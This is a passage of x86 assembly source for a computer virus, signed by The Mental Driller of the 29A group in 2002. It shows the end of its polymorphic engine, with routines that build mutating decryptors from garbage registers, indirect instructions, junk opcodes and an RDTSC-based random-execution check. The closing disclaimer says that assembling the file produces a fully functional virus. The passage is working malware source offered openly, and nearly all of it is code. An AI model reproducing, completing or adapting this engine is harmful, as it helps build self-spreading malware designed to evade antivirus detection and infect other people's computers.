or eax, eax
jz @@Direct
push ecx
call Poly_GetAGarbageRegister ; Use this garbage register.
mov ecx, eax
call @@Direct ; Make the MOV GarbageReg,Mem
mov eax, 41h ; MOV Reg,GarbageReg
mov [edi], eax
mov [edi+1], ecx
pop ecx
mov [edi+7], ecx
add edi, 10h
ret
@@Direct: mov eax, 42h ; Make the instruction directly
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov eax, ebx ; EBX is an offset within DATA sect. of
add eax, [ebp+Decryptor_DATA_SECTION] ; the decryptor.
mov [edi+3], eax
mov [edi+7], ecx
add edi, 10h
ret
Poly_DoMOVRegMem endp
;; Make a PUSH Reg
Poly_DoPUSHReg proc
mov eax, 50h
mov [edi], eax
mov [edi+1], ecx
add edi, 10h
ret
Poly_DoPUSHReg endp
;; Make a POP Reg
Poly_DoPOPReg proc
mov eax, 58h
mov [edi], eax
mov [edi+1], ecx
add edi, 10h
ret
Poly_DoPOPReg endp
;; Make a PUSH Value
Poly_DoPUSHValue proc
mov eax, 2 ; WEIGHT_X014
call RandomBoolean_X012_15 ; Make it directly or indirectly.
and eax, 3 ; directly just pushes the value, and
or eax, eax ; indirectly first moves the value to a
jz @@Direct ; garbage register and then pushes that
mov eax, 40h ; register.
mov [edi], eax
call Poly_GetAGarbageRegister
mov [edi+1], eax
mov [edi+7], edx
add edi, 10h
mov ecx, eax
call Poly_DoPUSHReg
ret
@@Direct: mov eax, 68h
mov [edi], eax
mov [edi+7], edx
add edi, 10h
ret
Poly_DoPUSHValue endp
;; This function will perform a XOR Reg,Reg, both directly and indirectly
;; (with a garbage register), like the functions above.
Poly_DoXORRegReg proc
mov eax, 3
call RandomBoolean_X012_15 ; WEIGHT_X015
or eax, eax
jz @@Single
call Poly_GetAGarbageRegister
mov esi, eax
mov eax, 41h ; Make MOV GarbageReg,SourceReg
mov [edi], eax
mov [edi+1], edx
mov [edi+7], esi
add edi, 10h
mov edx, esi ; Subsitute the SourceReg by the garbage
; register.
@@Single: mov eax, 31h ; Make XOR DestinyReg,GarbageReg
mov [edi], eax
mov [edi+1], edx
mov [edi+7], ecx
add edi, 10h
ret
Poly_DoXORRegReg endp
;; This function gets a register that is not used by the decryptor (or
;; whatever the code we are doing). Concretely, it gets a random register from
;; 0 to 7, and if it's not ESP, IndexReg, CounterReg or BufferReg, then it
;; returns it (it's not used/reserved).
Poly_GetAGarbageRegister proc
@@Again: call Random
and eax, 7
cmp eax, [ebp+IndexRegister]
jz @@Again
cmp eax, [ebp+CounterRegister]
jz @@Again
cmp eax, [ebp+BufferRegister]
jz @@Again
cmp eax, 4
jz @@Again
ret
Poly_GetAGarbageRegister endp
;; This function creates a check with 0
Poly_MakeCheckWith0 proc
xor eax, eax
call RandomBoolean_X016_19 ; WEIGHT_X016
or eax, eax
jnz @@Single
mov eax, 40h ; Composed option: MOV Reg2,0 /
mov [edi], eax ; CMP Reg,Reg2
call Poly_GetAGarbageRegister
mov [edi+1], eax
xor ebx, ebx
mov [edi+7], ebx
add edi, 10h
mov ebx, 39h
mov [edi], ebx
mov [edi+1], eax
mov [edi+7], ecx
add edi, 10h
ret
@@Single: mov eax, 38h ; This one is direct
mov [edi], eax
mov [edi+1], ecx
xor eax, eax
mov [edi+7], eax
add edi, 10h
ret
Poly_MakeCheckWith0 endp
;; This function makes a CALL to a memory address. It's used mainly for API
;; calls. We can do both simple and composed CALLs.
Poly_DoCALLMem proc
mov eax, 1
call RandomBoolean_X016_19 ; WEIGHT_X017
or eax, eax
jz @@Single
mov eax, 40h ; Move the address to a garbage register
mov [edi], eax
call Poly_GetAGarbageRegister
mov ebx, eax
mov [edi+1], eax
mov [edi+7], ecx
add edi, 10h
mov eax, 0EAh ; Call to [Register]
mov [edi], eax
mov eax, 0800h
add eax, ebx
mov [edi+1], eax
xor eax, eax
mov [edi+3], eax
add edi, 10h
ret
@@Single: mov eax, 0EAh ; Call the address directly
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov [edi+3], ecx
add edi, 10h
ret
Poly_DoCALLMem endp
;; This piece of code generates a RDTSC/RET function in runtime once in
;; every 4 created decryptors. The mini-routine has some variants, to make
;; it a little "polymorphic" :).
;; There isn't a standard way of getting a random number in runtime without
;; using APIs (to my knowledge), since FS:[xxx] addresses depend on the
;; win32 system we use (Win9x or WinNT).
Poly_MakeRandomExecution proc
mov eax, 2
call RandomBoolean_X016_19 ; WEIGHT_X018
; Only a prob. of making this of 1/4!
or eax, eax ; (at first generation, after that it
jnz @@Normal ; evolves)
call Poly_SelectThreeRegisters ; Select new registers
mov ecx, [ebp+IndexRegister] ; Construct the mini-
mov edx, [ebp+Decryptor_DATA_SECTION] ; function here.
call Random ; Get a random offset inside the
and eax, 1Ch ; first 20h bytes of the decryptor
add edx, eax ; data section, and construct the
cmp eax, 1Ch ; 4-byte function there.
jz @@DontAddMore
call Random
and eax, 3
add edx, eax
@@DontAddMore: ; Set the IndexRegister with this
call Poly_DoMOVRegValue ; value.
call Random ; Get a random number
push eax ; Save it
mov edx, eax ; Move it to BufferReg
mov ecx, [ebp+BufferRegister]
call Poly_DoMOVRegValue
@@RDTSC_Option0:
mov eax, 3
call RandomBoolean_X016_19 ; Get one of the three possible
; WEIGHT_X019 ; variants.
or eax, eax
jz @@RDTSC_Option2 ; Garbage at the beginning
xor eax, eax
call RandomBoolean_X020_23 ; WEIGHT_X020
or eax, eax
jz @@RDTSC_Option3 ; Garbage in the middle
@@RDTSC_Option1:
call Random
and eax, 0FF000000h ; Garbage at the end (a random byte :)
add eax, 000C3310Fh
jmp @@RDTSC_SetInstruction
@@RDTSC_Option2:
call Poly_GetGarbageOneByter
;and eax, 0000000FFh ; Set a one-byte do-nothing instrc.
add eax, 0C3310F00h ; at the beginning
jmp @@RDTSC_SetInstruction
@@RDTSC_Option3:
call Poly_GetGarbageOneByter
shl eax, 10h ; Set a one-byter in the middle
add eax, 0C300310Fh
@@RDTSC_SetInstruction:
mov edx, eax ; Now make the value in EAX from the
pop eax ; random value we made before.
sub edx, eax
mov ecx, [ebp+BufferRegister]
call Poly_DoADDRegValue ; Make it by ADD (or SUB). It's
; a way of encrypting it.
mov eax, 43h ; Make a MOV [IndexReg],BufferReg
mov [edi], eax
mov eax, 0800h
add eax, [ebp+IndexRegister]
mov [edi+1], eax
xor eax, eax
mov [edi+3], eax
mov eax, [ebp+BufferRegister]
mov [edi+7], eax
add edi, 10h
mov eax, 0ECh ; Now make CALL IndexReg.
mov [edi], eax
mov eax, [ebp+IndexRegister]
mov [edi+1], eax ; It will return a random value in
add edi, 10h ; EAX
xor eax, eax ; Set IndexReg as EAX
mov [ebp+IndexRegister], eax
mov eax, 8 ; Destroy the other registers
mov [ebp+BufferRegister], eax
mov [ebp+CounterRegister], eax
mov eax, 1
call RandomBoolean_X020_23 ; TEST or AND/CMP?
; WEIGHT_X021
or eax, eax
jz @@DirectTEST
@@ANDandCheck:
mov eax, 20h ; Make AND EAX,2^rnd
mov [edi], eax
xor eax, eax
call Xpand_ReverseTranslation ; Set the register that will
mov [edi+1], eax ; be translated to EAX with
call @@GetARandomPowerOf2 ; the expander
mov [edi+7], edx
add edi, 10h
xor eax, eax
call Xpand_ReverseTranslation
mov ecx, eax
call Poly_MakeCheckWith0 ; Make a check with 0
@@SetTheJump:
mov eax, 2
call RandomBoolean_X020_23 ; WEIGHT_X022
add eax, 74h ; Set a random JZ/JNZ to
mov [edi], eax ; ExitProcess.
mov [ebp+Poly_JumpRandomExecution], edi ; Set the address
add edi, 10h ; of the jump to complete and
ret ; return.
@@DirectTEST:
mov eax, 48h ; The direct test is TEST EAX,xxxx
mov [edi], eax
xor eax, eax
call Xpand_ReverseTranslation
mov [edi+1], eax
call @@GetARandomPowerOf2 ; Get a 2^rnd number (only one
mov [edi+7], edx ; bit set)
add edi, 10h
jmp @@SetTheJump
@@Normal: xor eax, eax ; If we don't make this, we set the jump
mov [ebp+Poly_JumpRandomExecution], eax ; to complete to
ret ; 0 and we exit.
@@GetARandomPowerOf2: ; A 2^rnd number is achieved by getting
call Random ; a random number from 0 to 31 and then
and eax, 1Fh ; shifting 1 by that number. Easy :).
mov edx, 1
@@LoopRotate:
or eax, eax
jz @@RotateFinish
shl edx, 1
sub eax, 1
jmp @@LoopRotate
@@RotateFinish:
ret
Poly_MakeRandomExecution endp
;; Get a garbage one-byte instruction.
Poly_GetGarbageOneByter proc
call Random ; Get a random number from 0 to 7
and eax, 7
add eax, 0F8h ; Add F8 to get some interesting instrc.
cmp eax, 0FAh ; CLI?
jz @@ReturnCMC ; Then set CMC
cmp eax, 0FDh ; STD?
jz @@ReturnNOP ; Then set NOP (bad things happen if not!)
cmp eax, 0FEh ; Other type of opcodes?
jb @@Return ; If not, return the opcode
@@ReturnNOP:
mov eax, 90h ; Set NOP
@@Return: ret
@@ReturnCMC:
mov eax, 0F5h ; Set CMC
ret
Poly_GetGarbageOneByter endp
;;
;;
;; End of the polymorphic engine
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EndOfCode label dword
end PreMain
(c) The Mental Driller/29A, somewhere on February 2002
DISCLAIMER
This code is only for research and educational purposes only. The assembling
of this file will produce a fully functional virus, so you have been warned.
If this kind of material is illegal in your country or state, you should
remove it from your computer. The author of this virus declines any illegal
activity performed by the possesor of the assembled form of this source code
including possesion and/or spreading of the virus generated from this source
code.
This source code is provided "as is". The deliberated modification of this
source code will derive in a new virus that must not be considered the virus
sourced here. The author of the original source code will not be considered
the author of the new modified or derivated virus.
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